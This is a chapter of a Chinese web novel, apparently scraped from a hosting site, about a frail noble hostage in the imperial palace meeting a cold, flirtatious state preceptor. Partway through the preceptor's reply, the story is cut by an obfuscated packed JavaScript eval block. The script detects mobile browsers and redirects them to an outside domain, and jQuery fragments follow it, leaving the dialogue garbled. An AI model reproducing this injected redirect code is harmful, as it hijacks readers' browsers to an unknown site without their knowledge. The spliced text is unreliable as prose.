10.初见
作品:《雾散潋天光》 九分大陆形成之时,人族兵力强盛,一举占领整个四分陆,成为四分陆之中唯一存在的族类。
时间一久,难免有族类惦记上这块陆地,边关烽火频燃,将门大族就此崛起。
其中,自江南一带发迹的慕家最得民心。
又是一年春。
慕茴笙生于江南,养于深宫,除了宫内每一年都被修理得整整齐齐的枝桠,她再没见过其他样子的春天。
“小姐,你今个儿早课还不去吗?”
虽说是教习嬷嬷,可对她几次三番逃课的行为却没责备过半分,反倒是心疼地给她盖了件裘衣。
“天寒,小姐还是多注意保暖——你这身子骨……”
嬷嬷在心中暗自叹气,咽下剩余的话,起身去关窗子。
一直趴在窗边出神的慕茴笙总算有了些反应,“别关……”
不过是两个字,却像是用尽了她全身的力气,可听起来依旧轻飘飘的,怎么也落不了地。
慕氏一族世代都是修炼的奇才,在为数不多可以拥有修炼资格的人族中,慕氏是被神明眷顾的家族。
可慕茴笙却是个例外。
她生来孱弱,肤色苍白得近乎透明,就连唇瓣都只剩一点淡淡的颜色,病殃殃得毫无生气。
偏她生了一副本该是软萌模样的脸,如今这副病容,倒更像是精致的瓷娃娃。
一碰就碎。
“阿嬷,麻烦你去跟先生说一声,今个儿我身子不适,就不去早课了。”
嬷嬷还来得及答应,寝殿的大门就被人粗鲁地推开。
光是听脚步声,慕茴笙也猜得出这是何人。
先皇后唯一的子嗣——明珠公主。
人皇对这位女儿偏爱得紧,足月赐号,足岁赐殿。
宠爱程度远高于朝中几位皇子。
如今这嚣张跋扈的性子,还真是不枉人皇的宠爱。
慕茴笙在心里感叹了一句,扶着风槛慢慢地将自己撑起来,“殿下怎么有空来臣女这儿了?”
“慕茴笙!你几次三番逃课,是一点也没把宗学的规矩放在眼里!”一身赤色锦裙的小姑娘叫嚷着,一脸嫌弃的模样卡在正门口,死活不肯往里面挪动半分。
一众仆从也被她阻在外面,也不知是进还是退的两难模样。
宗学是人皇专为皇室以及大族子弟开设的宫内学院,有资格让子弟入宗学,在京都中看来,也是一种身份的象征。
在宗族上学的大族子弟不在少数,但以外姓入住皇宫并被赏下寝殿的,也只有慕家大小姐——慕茴笙。
她的待遇,不亚于公主。
皇子们想拉拢她,公主们想除掉她。
也不知是哪位殿下在课上有意提出规矩一说,逼着先生惩戒这位慕小姐。
明珠公主抢着把这活儿领了,带着一群人急冲冲地赶过来,却自己堵在门口不进去。
“想来殿下是弄错了,臣女跟先生告过假,何来逃课一说?”
“派个嬷嬷去说一声就是告假?!慕茴笙你架子真大啊!还真把自己当回事了?父皇对你如此,还不是因为你是个人质——”
小姑娘就是这样,说什么话都口无遮拦,随从们早已变了脸色,为首的连忙咳嗽几声打断她接下来的话。
嬷嬷担忧地看向慕茴笙。
慕茴笙面上没什么表情,主动跳过了话题,“先生要罚我些什么?”
“抄……你是在问我话吗?好好闭门思过吧你!屋子里一股子霉味——王海!多拿些炭火进来去去味儿!”
小姑娘甩着袖子丢下一大段话,像来的时候一样,又“大摇大摆”地带着众人离开。
慕茴笙无奈摇头,她不是傻子,在这深宫之中,谁是真心谁是假意,她其实都一清二楚。
这么急冲冲地赶过来,不过是怕其他人先行过来找她的麻烦。
但她觉得也是有必要找个机会跟这位小公主解释一下,宫里其实没苛待过她,不点炭火也只是因为她这具孱弱的身体太容易呛着。
“小姐,你别把公主的话放在心上——”
“阿嬷,我都懂的其实。既然是事实,没什么不好让大家说的。”
这皇宫之中,又有谁不明白,表面受尽皇家万千恩宠的慕茴笙慕大小姐,不过是人皇用来牵制慕家的人质。
只要她这个慕家众星捧月的大小姐在宫里,慕家便没有造反的可能性。
慕茴笙将裘衣裹紧了几分,抬眼间瞥见院中的落鸟。
小小的一只,浑身湿得通透,孤零零地躺在墙角下,长嘴一张一合,却没有一点声音。
“你,也被这深宫困住了吗?”
慕茴笙走出去,轻轻将它捧进手心里,端详着它的模样。
丑是丑了些,但看着……不像坏鸟。
“有劳阿嬷将它带给阿九看看。”
嬷嬷接了落鸟,还是忍不住地叮嘱道,“小姐快些回去吧,外面凉——对了,小姐,陛下前几日新封了一位国师,寝殿好像离这儿不远,小姐若是外出,可要避着他一些。”
“我与他素不相识,为何要避着?”
再不济她也是慕家的大小姐,就算是宫中困鸟又如何?断然也没有谁都敢找她麻烦的道理。
“哎哟我的小姐啊,”嬷嬷害怕地四下瞧了一圈,将她往偏僻的地方拉了拉,声音压得极低,“宫里都说,这位国师性子阴晴不定,喜怒无常——”
慕茴笙轻轻地眨了眨眼睛,“宫里喜怒无常的人还少吗?”
“好了,阿嬷,我会小心的。您快去吧,再不去,这鸟儿,怕是要没气了。”
什么国师不国师的,其实与她无关。
几次三番来找她麻烦的皇子公主们,她也都不在意。
她只是想活得久一点,活到可以出宫看见春天的那一刻就好。
“知知。”
听到轻唤声的一刹那间,慕茴笙有些恍然。
她似乎很久没听过有人唤她“知知”了,上一次又是在什么时候?又是谁唤的?
她竟然一点都想不起来。
花树下不知何时站了位玄色衣袍的男子,明明素不相识,可看向她的眸光却复杂。
复杂得让她读不出半分情绪。
嬷嬷认出来人,赶忙将她扯到身后,连连给他道歉。
“国师大人恕罪——小姐不知您在此,无意扰了您的兴致——”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389159|182843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无妨。”
他的声音也像他整个人一样带着股拒人千里的寒意,让人连全心全意地听都都做不到。
他垂眸看了她许久,几度抬起的手终是一次次放下。
算了,找到她就好。
不记得又有什么关系?
慕茴笙依然纠结着前面的话,尽管有理,气却是不壮,“这是我的院子,国师大人‘无妨’什么?”
“嗯,是你的。”
来人似乎根本就没在仔细听她讲话,不过是顺着她说的应和。
“那还请国师大人尽快离开,免得被人说了闲话。”
“嗯——不走。”
慕茴笙:???
身前紧紧护着她的嬷嬷“噗通” 一声跪下,声音都打着颤,“国师大人要罚就罚老奴吧,别为难小姐……”
"阿嬷──"
男子的眸色暗了暗,对嬷嬷的话没做任何回应,反倒是将身子微微向她所在的方向倾过去,迫使她的眼睛直视着自己。
“慕小姐也这么害怕我吗?”
也不知道是不是自己悟错了,慕茴笙总觉得这句话不像是在询问,更像是在……挑逗?
“知知,来日方长,你就当……这是你我的初见。”
慕茴笙原是心如止水般地等着“当”的下文,不曾想他忽然凑近,唇瓣几乎贴上她的耳尖,呼出来的凉气入侵着她的身体,令她忍不住身子一颤。
“对了,知知,我的真名叫寒、清、许,这辈子记住了,下辈子也别忘了……好吗?”
这个国师……狐狸精来的吧?!
若不是人皇召他离开,慕茴笙也不知道该如何应对接下来的局面。
他的眼神太过于直白,太过于炽热,她不想懂都难。
只是方才那一面,不过是初见。
忽而,金钟急响三声。
若非是足以引起朝堂动乱的大事,置于钦天监最高处的金钟断然不会敲响。
不过朝堂的事,她也没有资格过问。
“阿笙?!这么冷的天你怎么还在外面?陈嬷嬷呢?”
钟声刚停下不久,清脆也响亮的声音便从身后传来。
来者一身黑色劲装,玄铁发簪将长发高高束成马尾,一张英气的脸配上剑眉星目,要不是还有声音可辨,谁第一眼都会把她认作男子。
小时侯的慕茴笙曾被她戏耍过,要不是入宗学时还有个介绍的环节,她怕是不会知道自己喊了将近大半个月的“楚楚哥”是个女孩子。
当朝祭司独女——林楚楚。
但京中人人也都知道,这祭司的本事她是没学到半点的。
舞刀弄枪,纵马看花……
京中似乎没有规矩可以束缚住她。
“大忙人竟有时间来我这儿啊?”慕茴笙故意偏过头去不看她,嗔怪的语气里带了些埋怨。
林楚楚见她要走,两三步地赶上去揽住她的胳膊,“哎哟,我家阿笙怎么还生气了?这也不是我不想来──主要是皇宫近来戒备森严,连我爹都是无召不得入宫呢。”
“为什么如此戒备?”
“不是──你一个住宫里的,难道没听说''熙妃还魂''的事情?!”